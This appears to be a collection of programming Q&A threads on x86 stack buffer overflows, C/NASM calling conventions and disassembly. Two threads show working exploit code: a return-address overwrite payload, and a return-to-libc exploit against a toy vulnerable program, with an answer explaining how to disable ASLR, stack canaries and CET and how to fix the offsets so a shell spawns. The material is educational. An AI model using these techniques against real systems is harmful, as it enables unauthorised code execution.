I have been reading The Shellcoder's Handbook (2e) and have been trying to reproduce the stack overflow experiment on pages 18-23.
I have this code
void return_input (void)
{
char array[30];
gets (array);
printf(“%s\n”, array);
}
main()
{
return_input();
return 0;
}
Compile: gcc -fno-stack-protector -o overflow overflow.c
Dump of assembler code for function main:
0x080483ea <main+0>: push %ebp
0x080483eb <main+1>: mov %esp,%ebp
0x080483ed <main+3>: call 0x80483c4 <return_input>
0x080483f2 <main+8>: mov $0x0,%eax
0x080483f7 <main+13>: pop %ebp
0x080483f8 <main+14>: ret
We can overwrite the saved return address with the address of the call to return_input()
$ printf
"AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDD\xed\x83\x04\x08" | ./overflow
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDí
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDò
So this causes our input to be printed twice. However, I wasn't prompted for input a second time. Shouldn't the second call to return_input() result in a second call to gets()?
This probably has to do with what gets() reads from stdin.
Slightly altered version of your program:
#include <stdio.h>
int n = 1;
void return_input(void)
{
char array[30];
gets (array);
printf("%s\n", array);
if (n--) return_input();
}
int main(void)
{
return_input();
return 0;
}
If I just run it, I can type in 2 short strings (each followed by the Enter key), like so:
C:\gets.exe
qwe
qwe
123
123
And here both qwe and 123 get repeated on the screen (first time when I type them, second, when they get printed).
When I pipe programs input on Windows with the echo command, I get the following without a chance to enter the second string, gets() somehow manages to obtain garbage as input when it's called second time:
C:\echo qwe|gets.exe
qwe
№ ☺
So, something is wrong in how gets() reads piped input and that has nothing to do with stack overflows.
Related
I tried to make a return to libc buffer overflow. I found all the addresses for system, exit and /bin/sh, I don't know why, but when I try to run the vulnerable program nothing happens.
system, exit address
/bin/sh address
Vulnerable program:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif
int bof(FILE* badfile)
{
char buffer[BUF_SIZE];
fread(buffer, sizeof(char), 300, badfile);
return 1;
}
int main(int argc, char** argv)
{
FILE* badfile;
char dummy[BUF_SIZE * 5];
badfile = fopen("badfile", "r");
bof(badfile);
printf("Return properly.\n");
fclose(badfile);
return 1;
}
Exploit program:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buf[40];
FILE* badfile;
badfile = fopen("./badfile", "w");
*(long *) &buf[24] = 0xbffffe1e; // /bin/sh
*(long *) &buf[20] = 0xb7e369d0; // exit
*(long *) &buf[16] = 0xb7e42da0; // system
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
return 1;
}
And this is the program that I use to find MYSHELL address(for /bin/sh)
#include <stdio.h>
void main()
{
char* shell = getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int) shell);
}
Terminal:
Terminal image after run retlib
First, there are a number of mitigations that might be deployed to prevent this attack. You need to disable each one:
ASLR: You have already disabled with sudo sysctl -w kernel.randomize_va_space=0. But a better option is to disable it only for one shell and its children: setarch $(uname -m) -R /bin/bash.
Stack protector: The compiler can place stack canaries between the buffer and the return address on the stack, write a value into it before the buffer write operation is executed, and then just before returning, verify that it has not been changed by the buffer write operation. This can be disabled with -fno-stack-protector.
Shadow stack: Newer processors might have a shadow stack feature (Intel CET) that when calling a function, stashes a copy of the return address away from the writable memory, which is checked against the return address when returning from the current function. This (and some other CET protections) can disabled with -fcf-protection=none.
The question does not mention it, but the addresses used in the code (along with use of long) indicate that a 32-bit system is targeted. If the system used is 64-bit, -m32 needs to be added to the compiler flags:
gcc -fno-stack-protector -fcf-protection=none -m32 vulnerable.c
When determining the environment variable address from one binary and using it in another, it is really important that their environment variables and invocation from shell are identical (at least in length). If one is executed as a.out, the other should also be executed as a.out. One being in a different path, having a different argv will move the environment variable.
Alternatively, you can print the address of the environment variable from within the vulnerable binary.
By looking at the disassembly of bof function, the distance between the buffer and the return address can be determined:
(gdb) disassemble bof
Dump of assembler code for function bof:
0x565561dd <+0>: push %ebp
0x565561de <+1>: mov %esp,%ebp
0x565561e0 <+3>: push %ebx
0x565561e1 <+4>: sub $0x14,%esp
0x565561e4 <+7>: call 0x56556286 <__x86.get_pc_thunk.ax>
0x565561e9 <+12>: add $0x2de3,%eax
0x565561ee <+17>: pushl 0x8(%ebp)
0x565561f1 <+20>: push $0x12c
0x565561f6 <+25>: push $0x1
0x565561f8 <+27>: lea -0x14(%ebp),%edx
0x565561fb <+30>: push %edx
0x565561fc <+31>: mov %eax,%ebx
0x565561fe <+33>: call 0x56556050 <fread#plt>
0x56556203 <+38>: add $0x10,%esp
0x56556206 <+41>: mov $0x1,%eax
0x5655620b <+46>: mov -0x4(%ebp),%ebx
0x5655620e <+49>: leave
0x5655620f <+50>: ret
End of assembler dump.
Note that -0x14(%ebp) is used as the first parameter to fread, which is the buffer that will be overflowed. Also note that ebp was the value of esp just after pushing ebp in the first instruction. So, ebp points to the saved ebp, which is followed by the return address. That means from the start of the buffer, saved ebp is 20 bytes away, and return address is 24 bytes away.
*(long *) &buf[32] = ...; // /bin/sh
*(long *) &buf[28] = ...; // exit
*(long *) &buf[24] = ...; // system
With these changes, the shell is executed by the vulnerable binary:
$ ps
PID TTY TIME CMD
1664961 pts/1 00:00:00 bash
1706389 pts/1 00:00:00 bash
1709328 pts/1 00:00:00 ps
$ ./a.out
$ ps
PID TTY TIME CMD
1664961 pts/1 00:00:00 bash
1706389 pts/1 00:00:00 bash
1709329 pts/1 00:00:00 a.out
1709330 pts/1 00:00:00 sh
1709331 pts/1 00:00:00 sh
1709332 pts/1 00:00:00 ps
$
I'm trying to do the following for the sake of practice in NASM:
1)Read a string from command-line in C
2)Pass that string to a NASM function which takes the string as its first parameter
3)Return that exact string from NASM function
prefix.asm:
;nasm -f elf32 prefix.asm -o prefix.o
segment .bss
pre resb 256
segment .text
global prefix
prefix:
push ebp ;save the old base pointer value
mov ebp,esp ;base pointer <- stack pointer
mov eax,[ebp+8] ;function argument
add esp, 4
pop ebp
ret
prefix c:
//nasm -f elf32 prefix.asm -o prefix.o
//gcc prefix.c prefix.o -o prefix -m32
#include <stdio.h>
#include <string.h>
char* prefix(char *str);
int main(void)
{
char str[256];
char* pre;
int a;
printf("Enter string: ");
scanf("%s" , str) ;
pre = prefix(str);
printf("Prefix array: %s\n", pre);
return 0;
}
After I run(it compiles w/o any problem) and supply my string to the program I get a Segmentation fault (core dumped) error.
First try to write a C program to implement char* prefix(char *str), disassemble it and understand it.
Problem 1: the add esp, 4 should be deleted. A function should preserve the stack pointer. I.e. the esp should be the same before the first instruction and before the return instruction. Your assembly code increases esp by 4.
Problem 2: Don't name your .asm and .c to be the same. Use different names.
When compiling C and nasm on Mac OS X, I found it is different to Linux when passing parameters and making system call. My code works but I'm really confused with it.
I write a function myprint in nasm to print string passed from C.
Here is the C code main.c
#include <stdio.h>
void myprint(char* msg, int len);
int main(void){
myprint("hello\n",6);
return 0;
}
Here is the nasm code myprint.asm
section .text
global _myprint
_syscall:
int 0x80
ret
_myprint:
push dword [esp+8] ;after push, esp-4
push dword [esp+8]
push dword 1
mov eax,4
call _syscall
add esp,12
ret
Compile and link them:
nasm -f macho -o myprint.o myprint.asm
gcc -m32 -o main main.c myprint.o
it prints "hello" correctly.
As you can see, OS X(FreeBSD) use push to pass parameters to sys call, but the parameters char* and int are already pushed into the stack and their addresses are esp+4 and esp+8. However, I have to read them from the stack and push them into stack again to make it work.
If I delete
push dword [esp+8] ;after push, esp-4
push dword [esp+8]
it will print lots of error codes and Bus error: 10, like this:
???]?̀?j????????
?hello
`44?4
__mh_execute_headerm"ain1yprint6???;??
<??
(
libSystem.B?
`%?. _syscall__mh_execute_header_main_myprintdyld_stub_binder ??z0&?z?&?z?&?z۽??۽????N?R?N?o?N???N??N?e?N?h?N?0?zR?N???N???t??N?N???N?????#?`#b?`?`?a#c aaU??]N?zBus error: 10
Why it needs to push the parameters into stack again? How can I pass these parameters already in stack to syscall without pushing again?
This is normal for even plain C function calls. The problem is that the return address is still on the stack before the arguments. If you don't push them again below the return address you will have 2 return addresses on the stack before the arguments (the first to main and the second to myprint) but the syscall only expects 1.
I'm learning buffer overflows, and I have a problem with exploiting a stack based buffer overflow.
Here is my program:
#include <stdio.h>
void func(){
printf("asd");
}
main(){
char buf[10];
scanf("%s", &buf);
}
I'm overwriting first 14 bytes with A's(the buffer and the old EIP address). My goal is to execute the func function, or to change the EIP with it's address. But I'm always getting illegal instruction. I have check the HEX address of the function; I have written them in reverse order and they are correct.
You will have to look at the compiled code in assembler e.g.
your main() may look like:
char buf[10];
scanf("%s", &buf);
00D7B938 mov esi,esp
00D7B93A lea eax,[ebp-14h]
00D7B93D push eax
00D7B93E push offset string "%s" (0D818D4h)
00D7B943 call dword ptr [__imp__scanf (0D89684h)]
You'll have to debug to see what is actually on the stack at this point, e.g. if you are compiling in debug, it is highly likely there's a lot more on the stack than you may think !
I have very simple C program:
int foobar(int a)
{
int b = a;
}
int main(int argc, char *argv[])
{
foobar(0xDEAD);
return 0;
}
Using objdump -d main.out I got disassembled binary with a lot of assembler instructions:
4004a3: 55 push %ebp
4004a4: 48 89 e5 mov %esp,%ebp
4004a7: 48 83 ec 10 sub $0x10,%esp
How can I find for example address of every push instruction from another C program?
Can it be done this way?:
position = 0;
while (...)
{
...
int act_value;
read(binary_file, &act_value, 4);
if (act_value == /*what value?*/)
{
printf("Instruction: push\n");
printf("Address: %X\n", position * 4); /* is this correct?*/
}
position++;
...
}
As Oli Charlesworth already pointed out, instructions are of variable length on the x86 architecture. You can still write a program to do this for you, but you'll need to parse all the instructions to properly know how long they are and where the next one starts.
I don't understand why you want to write your own program to solve the problem, or is there something you're not telling us? Are you only looking for a way to find the addresses of the push instructions? If so, just do this:
objdump -d another_c_program | grep push
Of course, this will also find pushl and so on. I guess you want them too, otherwise the command can be modified.